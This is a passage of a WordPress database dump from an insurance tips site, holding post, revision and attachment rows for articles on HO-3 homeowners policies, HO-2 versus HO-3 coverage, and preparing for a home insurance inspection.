liability, which is usually a minimum of $100,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-38\">Coverage F: Medical Payments&nbsp;</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">This coverage pays medical bills for people who are accidentally hurt on your property. Coverage doesn’t apply to those who live in your home. You can choose your coverage limits, which generally must be at least $1,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Some insurance companies offer more comprehensive coverage by adding policy riders that delete specific exclusions from the HO-3 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-42\">HO-2 vs. HO-3 Homeowners Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-43\">Whether you own or rent, you can choose from various packages of home insurance available to protect your home and possessions. Each package protects against specific perils.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-45\">Insurance carriers sometimes write and file customized policies. Insurers who don’t file their own policies use standard forms available from rating organizations such as the Insurance Services Office Inc. (ISO).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">Again, Insurance companies will typically avail two approaches to insuring your property: the named-peril policy approach and the open-peril policy approach, which are represented by HO-2 and HO-3 homeowners insurance, respectively.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">The named-peril policy is a lower-cost approach that names all events you are insured against in the event of a loss. The open-peril policy is a higher-cost approach that, while alluding to unlimited coverage, names exclusions you’re not insured against.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: With a named-peril policy, the policyholder must prove a covered peril caused damage to their property. With an open-peril policy, the insurer must prove an exclusion applies to the event that resulted in damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-52\">An HO-2 policy, which is also referred to as the Broad Form, is a basic homeowners insurance that covers perils listed on an HO-1 policy plus additional perils. Your dwellings, other structures, and personal property are covered against perils explicitly named in the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-54\">An HO-3 policy is the most widely used form of homeowners insurance. It protects against all risks to your dwelling (and other structures) except those specifically excluded. However, your personal property is insured on a named-perils basis—that is, against damage or loss caused by perils listed in an HO-2 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>HO-2 Homeowners Insurance</strong>&nbsp;</td><td><strong>HO-3 Homeowners Insurance</strong></td></tr><tr><td>Less expensive</td><td>More expensive</td></tr><tr><td>Less expansive coverage</td><td>More expansive coverage</td></tr><tr><td>Names the specific perils you’re insured against</td><td>Specifies the exclusions that you won’t receive compensation for in case of damage or loss</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0-5\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>An HO-3 homeowners insurance policy pays for all causes of loss to your dwelling and other structures, except when the loss is caused by an excluded peril.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An HO-3 homeowners insurance policy combines the features of an open-peril policy and named-peril policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An HO-3 policy insures your personal property against perils specifically named in the contract.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/what-is-an-ho-3-homeowners-insurance-policy-5207153\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is an HO-3 Homeowners Insurance Policy?','','publish','closed','closed','','what-is-an-ho-3-homeowners-insurance-policy','','','2024-05-20 04:19:56','2024-05-20 04:19:56','',0,'https://smartinsurance.tips/?p=4079',0,'post','',0),(4080,1,'2024-05-20 04:16:54','2024-05-20 04:16:54','','Untitled-16','','inherit','closed','closed','','untitled-16-4','','','2024-05-20 04:16:54','2024-05-20 04:16:54','',4079,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-16.png',0,'attachment','image/png',0),(4081,1,'2024-05-20 04:19:55','2024-05-20 04:19:55','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4080,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-16-1024x1024.png\" alt=\"\" class=\"wp-image-4080\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>DEFINITION</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An HO-3 homeowners insurance policy is a form of home insurance that provides coverage for damage to your dwelling, other structures on the property, personal property, loss of use, personal liability, and medical payments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">An HO-3 homeowners insurance policy is the most common type of homeowners insurance, covering all causes of damage to the main dwelling and other structures except those specifically excluded in the policy, such as floods and earthquakes. Other homeowners insurance policies are typically a variation of an HO-3 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Learn more about HO-3 homeowners insurance policies, how they work, and how they differ from other homeowners insurance forms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">Definition and Examples of an HO-3 Homeowners Insurance Policy</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">An HO-3 homeowners insurance policy is a form of home insurance that provides coverage for damage to your dwelling, other structures on the property, personal property, loss of use, personal liability, and medical payments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">All perils, or causes of loss, are covered for damage to your home and other structures, except those that are specifically named on the policy as exclusions. Exclusions might include earthquakes, floods, wear and tear, neglect, and damage caused by freezing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-9\"><!-- wp:list-item -->\n<li><strong>Alternate name</strong>: Special Form Policy</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Note: Coverage for your home and other structures is written on an “all-risk basis” ( everything except named exclusions is covered). Personal property, or the contents of your home, is covered on a “named-peril basis” (only damages from perils named are covered).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-12\">How an HO-3 Homeowners Insurance Policy Works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Insurance polices are designed to cover damage to property if the loss was caused by a covered peril.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">Homeowners insurance policies vary according to the types of property and the number of perils they cover. Policies are typically considered \"open-perils,\" which covers all causes of loss unless excluded, or \"named-perils,\" which covers only specified sources of loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">A common type of homeowners insurance is one that combines attributes of both types—the special form, or HO-3, homeowners insurance policy. An HO-3 homeowners insurance policy, like other homeowners policies, has two parts: Section I (coverages A, B, C, and D) for your property and Section II (coverages E and F) for liabilities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">Here’s a description of each individual coverage and the general limits most insurers will provide:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Coverage A: Your Dwelling</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">Dwelling coverage pays for damage to your house and any structures attached to it, including plumbing fixtures, electrical wiring, and HVAC systems. Damage must be a result of a covered peril. The limit of your dwelling coverage should be at least 80% or equal to your home’s full replacement cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Property damage to your dwelling and any other structures at your residence, is covered on an open-perils basis. An insurer will reimburse you for losses to your property except those as a result of perils specifically excluded in the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Coverage B: Other Structures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">Coverage B pays for damage to structures on your property that are not attached to your house. Covered structures include free-standing garages, sheds, fences, and guest cottages among others. Insurers limit this coverage to 10% of your dwelling coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">Coverage C: Personal Property</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">This coverage reimburses you for the value of the contents of your home, possessions owned by you and people who live with you. Coverage may also include items lost or damaged outside your premises. The coverage limit is usually 50% of your dwelling coverage or any amount agreed on between you and your insurer. Coverage may not include some types of high-value items, also known as scheduled personal property. In an HO-3 policy, coverage for personal property is limited to named perils.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: The contents of your home are covered on a named-peril basis. These perils are listed in the broad form HO-2, which is an HO-2 insurance policy. They include damage from lightning, fire, and theft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-32\">Coverage D: Loss of Use</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">This coverage helps pay any additional living expenses such as meals and housing if your home is rendered uninhabitable. Insurers limit this coverage to 20% of your dwelling coverage. Insurance companies typically don’t reimburse you for all living expenses. They pay only for the difference between your normal living expenses and extra living expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-35\">Coverage E: Personal Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">This coverage helps offset your financial losses if you’re sued or deemed legally responsible for damages or injuries to others. You are not covered in situations where you acted intentionally. You choose your coverage limits for personal liability, which is usually a minimum of $100,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-38\">Coverage F: Medical Payments&nbsp;</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">This coverage pays medical bills for people who are accidentally hurt on your property. Coverage doesn’t apply to those who live in your home. You can choose your coverage limits, which generally must be at least $1,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Some insurance companies offer more comprehensive coverage by adding policy riders that delete specific exclusions from the HO-3 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-42\">HO-2 vs. HO-3 Homeowners Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-43\">Whether you own or rent, you can choose from various packages of home insurance available to protect your home and possessions. Each package protects against specific perils.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-45\">Insurance carriers sometimes write and file customized policies. Insurers who don’t file their own policies use standard forms available from rating organizations such as the Insurance Services Office Inc. (ISO).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">Again, Insurance companies will typically avail two approaches to insuring your property: the named-peril policy approach and the open-peril policy approach, which are represented by HO-2 and HO-3 homeowners insurance, respectively.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">The named-peril policy is a lower-cost approach that names all events you are insured against in the event of a loss. The open-peril policy is a higher-cost approach that, while alluding to unlimited coverage, names exclusions you’re not insured against.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: With a named-peril policy, the policyholder must prove a covered peril caused damage to their property. With an open-peril policy, the insurer must prove an exclusion applies to the event that resulted in damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-52\">An HO-2 policy, which is also referred to as the Broad Form, is a basic homeowners insurance that covers perils listed on an HO-1 policy plus additional perils. Your dwellings, other structures, and personal property are covered against perils explicitly named in the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-54\">An HO-3 policy is the most widely used form of homeowners insurance. It protects against all risks to your dwelling (and other structures) except those specifically excluded. However, your personal property is insured on a named-perils basis—that is, against damage or loss caused by perils listed in an HO-2 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>HO-2 Homeowners Insurance</strong>&nbsp;</td><td><strong>HO-3 Homeowners Insurance</strong></td></tr><tr><td>Less expensive</td><td>More expensive</td></tr><tr><td>Less expansive coverage</td><td>More expansive coverage</td></tr><tr><td>Names the specific perils you’re insured against</td><td>Specifies the exclusions that you won’t receive compensation for in case of damage or loss</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0-5\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>An HO-3 homeowners insurance policy pays for all causes of loss to your dwelling and other structures, except when the loss is caused by an excluded peril.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An HO-3 homeowners insurance policy combines the features of an open-peril policy and named-peril policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An HO-3 policy insures your personal property against perils specifically named in the contract.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/what-is-an-ho-3-homeowners-insurance-policy-5207153\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is an HO-3 Homeowners Insurance Policy?','','inherit','closed','closed','','4079-revision-v1','','','2024-05-20 04:19:55','2024-05-20 04:19:55','',4079,'https://smartinsurance.tips/?p=4081',0,'revision','',0),(4082,1,'2024-05-20 04:26:12','2024-05-20 04:26:12','<!-- wp:paragraph -->\n<p>Your insurance company may require a home inspection to cover you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4083,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-17-1024x1024.png\" alt=\"\" class=\"wp-image-4083\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Buying a home means checking off a long list of to-dos, including getting an appraisal and a home inspection. These steps can ensure that the home is worth the amount you plan to borrow for it and that it’s in good shape before you commit to buying. A home inspection shouldn’t be confused with a home insurance inspection, however. A home insurance inspection is something your homeowners insurance company may require as a condition of getting covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A home insurance inspection is different from a home inspection, which is designed to check for underlying structural issues in the home.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your insurance company may require a home insurance inspection before approving your application for coverage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You may be more likely to need a home inspection if the home is located in an area that’s at high risk for natural disasters, such as hurricanes or earthquakes.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The home insurance inspection helps your insurer to accurately determine the replacement cost of the property and its contents.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_5-0\">What Is a Home Insurance Inspection?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_6-0\">As mentioned, a home insurance inspection is separate from a typical home inspection. When you schedule a home inspection, it’s usually for your own peace of mind. For example, you may want to be sure that the home has no major structural issues, such as a cracked foundation or damaged wiring. A certified home inspector can examine the home inside and out to look for any issues and summarize them in a report.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_8-0\">Home inspections aren’t always required by mortgage lenders, though an appraisal is, in order to establish the property’s value. Mortgage lenders typically don’t ask for a home insurance inspection either; this is usually requested by the company through which you’re attempting to purchase homeowners insurance.&nbsp;However, whether you’re getting a regular home inspection, a home insurance inspection, or an appraisal, you’re responsible for paying the cost out of pocket.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_10-0\">A home insurance inspection allows the insurance company to gauge the home’s replacement cost. This is also how the insurance company assesses risk to determine the likelihood that you’ll need to file a claim for damages and calculates your estimated premium costs. A home inspection may be more common if you’re buying an older home or a home in an area that’s prone to natural disasters, such as hurricanes, earthquakes, or forest fires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, in Florida and some Gulf Coast states, homeowners can go through a wind mitigation inspection. This type of inspection looks specifically at what efforts are in place to mitigate wind damage to a home that’s being covered. Insurance companies can offer discounts on coverage for homeowners who undergo this type of inspection and show that they’ve mitigated wind damage risk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: Separate pest and septic tank inspections may also be necessary when buying a home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_16-0\">What a Home Insurance Inspection Covers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_17-0\">In most cases your homeowners insurance company may do a visual inspection of the home’s exterior. This allows it to check out the condition of doors, windows, roofing, and additional structures on the property. If the insurance company decides that a more detailed inspection is necessary, it will also take a look inside the home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_19-0\">Every inspection is different, but generally the inspector will be assessing things such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_21-0\"><!-- wp:list-item -->\n<li>The condition and age of the roof</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Any exterior hazards that could potentially lead to damage, such as overhanging trees&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Exterior items that could be damaged, such as sidewalks, lighting fixtures, or separate buildings on the property</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Interior and exterior drainage systems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The condition of the basement, if you have one, and the foundation</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Plumbing systems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The age and condition of the home’s electrical system</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Home appliances</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The condition of flooring and walls</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Attic spaces and crawl spaces</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Anti-theft measures, such as a home security system or deadbolts</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Smoke and carbon monoxide detectors</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The age and condition of the HVAC system</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Chimneys and fireplaces, if you have them</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_23-0\">Overall, the goal is to assess both risk and replacement cost if the home ends up being damaged. You may not need to be at home for the exterior part of the inspection if the insurance company only wants to look at the outside, but you\'ll need to be present for the interior inspection if one is requested. The time frame can be as much as two hours.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: If your insurance company wants to do a complete home insurance inspection or you decide to request one, expect it to take a couple of hours to complete.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_27-0\">How to Prepare for a Home Insurance Inspection</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_28-0\">If you’re scheduled for a home insurance inspection, there are some things you can do to get ready for it. By doing a little prep work, you can spot any issues that are likely to show up in the inspection, so you’re not caught off guard.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_30-0\">Preparing for a home insurance inspection on the exterior:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_32-0\"><!-- wp:list-item -->\n<li>Check your roof for any loose or missing shingles.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you have gutters, check to see if they’re secured to the home properly and clear out any debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check the foundation for cracks or other signs of weakening.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you have a chimney, check it for cracks or loose bricks and consider getting it professionally cleaned.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Trim any overhanging branches or dead limbs that could present a hazard to roofing or other parts of the home.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check your siding, doors, and windows for cracks, leaks, and signs of water damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look for any potential hazards, such as an uneven sidewalk that could cause someone to get injured on the property.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_34-0\">Preparing for a home insurance inspection on the inside:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_36-0\"><!-- wp:list-item -->\n<li>Check your smoke detectors and carbon monoxide detectors to make sure they’re working properly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check your home’s fire extinguisher to make sure it’s operational.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Clean out your fireplace and its flue, if you have one.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check around windows and doors on the inside to look for leaks or signs of termite damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look in the attic and basement for signs of any water or pest damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider cleaning your HVAC system and testing it to make sure it’s working properly.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look under sinks and around faucets, showerheads, and toilets for signs of leaks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Inspect the walls to look for cracks or bowing, which could suggest foundation or roof issues.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Important: If your homeowners insurance company decides a home insurance inspection is necessary, it may wait until after you close on the home to schedule the inspection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_40-0\">What to Do if You’re Denied for Home Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_41-0\">If your home insurance inspection turns up some serious issues with the property, your insurance company may decide that it’s too much of a risk to cover you. In that scenario you may have a few options.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_43-0\">First, you could make any necessary repairs the insurance company requests as a condition of getting covered. That could mean replacing the roof or hot water heater or repaving the driveway.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_45-0\">If that doesn’t work, you can look for coverage through a company that specializes in high-risk properties. You’ll likely pay more for homeowners insurance than you would ordinarily, but it may be the only way to get coverage for a home with damage or structural issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_47-0\">A third possibility is getting the home covered under Fair Access Insurance Plans. FAIR plans are state-run programs that offer insurance for high-risk homeowners or help them find coverage. This could help you get covered if you’ve exhausted all other options. Keep in mind, however, that not every state offers a FAIR plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/how-to-prepare-for-a-home-insurance-inspection-5074113\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Prepare for a Home Insurance Inspection','','publish','closed','closed','','how-to-prepare-for-a-home-insurance-inspection','','','2024-05-20 04:26:13','2024-05-20 04:26:13','',0,'https://smartinsurance.tips/?p=4082',0,'post','',0),(4083,1,'2024-05-20 04:24:04','2024-05-20 04:24:04','','Untitled-17','','inherit','closed','closed','','untitled-17-6','','','2024-05-20 04:24:04','2024-05-20 04:24:04','',4082,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-17.png',0,'attachment','image/png',0),(4084,1,'2024-05-20 04:26:12','2024-05-20 04:26:12','<!-- wp:paragraph -->\n<p>Your insurance company may require a home inspection to cover you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4083,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-17-1024x1024.png\" alt=\"\" class=\"wp-image-4083\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Buying a home means checking off a long list of to-dos, including getting an appraisal and a home inspection. These steps can ensure that the home is worth the amount you plan to borrow for it and that it’s in good shape before you commit to buying. A home inspection shouldn’t be confused with a home insurance inspection, however. A home insurance inspection is something your homeowners insurance company may require as a condition of getting covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A home insurance inspection is different from a home inspection, which is designed to check for underlying structural issues in the home.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your insurance company may require a home insurance inspection before approving your application for coverage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You may be more likely to need a home inspection if the home is located in an area that’s at high risk for natural disasters, such as hurricanes or earthquakes.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The home insurance inspection helps your insurer to accurately determine the replacement cost of the property and its contents.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_5-0\">What Is a Home Insurance Inspection?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_6-0\">As mentioned, a home insurance inspection is separate from a typical home inspection. When you schedule a home inspection, it’s usually for your own peace of mind. For example, you may want to be sure that the home has no major structural issues, such as a cracked foundation or damaged wiring. A certified home inspector can examine the home inside and out to look for any issues and summarize them in a report.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p 